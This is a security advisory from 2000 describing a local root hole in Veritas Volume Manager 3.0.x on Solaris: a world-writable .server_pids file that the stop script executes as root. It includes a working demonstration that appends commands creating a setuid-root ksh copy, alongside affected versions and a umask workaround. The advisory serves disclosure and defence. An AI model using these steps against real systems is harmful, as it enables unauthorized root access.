Summary ------- Veritas Volume Manager 3.0.x for Solaris contains a security hole which can, under specific circumstances, allow local users to gain root access. Details ------- When a system with Veritas Volume Manger 3.0.x installed boots, the initialization script for the Storage Administrator Server (/etc/rc2.d/S96vmsa-server) executes without first specifically setting a umask. When the server comes up, it creates /var/opt/vmsa/logs/.server_pids with permissions on the file set according to the inherited umask. Because there is no umask set at that point (under some versions of Solaris, see below for details), permissions on the .server_pids file are set to 666. The control script that is used to start, stop and query the Storage Administrator Server (/opt/VRTSvmsa/bin/vmsa_server) contains the following block of code: stop_server() { if [ -f $LOGDIR/.server_pids ]; then echo "Stopping $CNAME Server" /bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1 rm -f $LOGDIR/.server_pids else echo "Unable to stop $CNAME Server" fi } When this function is invoked, it executes the contents of /var/opt/vmsa/logs/.server_pids. As this file is world-writeable, an unprivileged user can put arbitrary commands into it, and they will be executed as root when the offending function is run. The stop_server() function is only called if the superuser manually stops the Storage Administrator Server; it is NOT ordinarily called when the system shuts down. However, if root ever uses the manual shutdown option to vmsa_server, the system can be compromised. Demonstration ------------- # append our malicious commands to the world-writeable file foo@bar> id uid=500(foo) gid=25(programmers) foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids -rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids foo@bar> cat >> /var/opt/vmsa/logs/.server_pids cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh ^D foo@bar> cat /var/opt/vmsa/logs/.server_pids kill 328 kill 329 kill 337 cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh foo@bar> # wait for root to stop the server manually root@bar> /opt/VRTSvmsa/bin/vmsa_server -k Stopping VERITAS VM Storage Administrator Server root@bar> ls -alt /var/tmp total 406 drwxrwxrwt 2 sys sys 512 Jun 8 17:46 . -rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh -rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0 drwxr-xr-x 26 root sys 512 Jun 8 09:51 .. # as an unprivileged user, run the suid-root shell we just created... foo@bar> /var/tmp/ksh # id uid=500(foo) gid=25(programmers) euid=0(root) # Vulnerable Versions ------------------- Volume Manager: 3.0.2, 3.0.3, 3.0.4. According to the vendor, this problem is not present in the current beta release of 3.1. I was not told when to expect that product to ship. Veritas also stated that there is currently no plan to patch existing versions. Solaris: All versions prior to Solaris 8. Solaris 8 sets a umask of 022 during the boot process, which keeps this bug from causing a compromise. Workaround & Comments --------------------- The trivial workaround: add "umask 022" to /etc/rc2.d/S96vmsa-server before the line that starts the Storage Administrator Server. Perhaps a better fix would be to change Storage Administrator to only write process ID numbers to /var/opt/vmsa/logs/.server_pids, and change the control script to extract only those PIDs from the file, instead of executing the contents. This would still require that permissions on that file be sane in order to avoid some level of compromise (otherwise, an unprivileged user could kill arbitrary processes). A better approach would be to use a utility like pkill(1) to find and kill the appropriate processes (a functional equivalent could easily be coded into vmsa_server). I found no previous mention of this hole on SunSolve, (sunsolve.sun.com), SecurityFocus (www.securityfocus.com), PacketStorm Security (packetstorm.securify.com), the Veritas web site, the main Sun web site, or in the archives of the Bugtraq mailing list. By echo8@firest0rm.org. Copyright 6/12/2000, Firest0rm Security/Gh0st.net.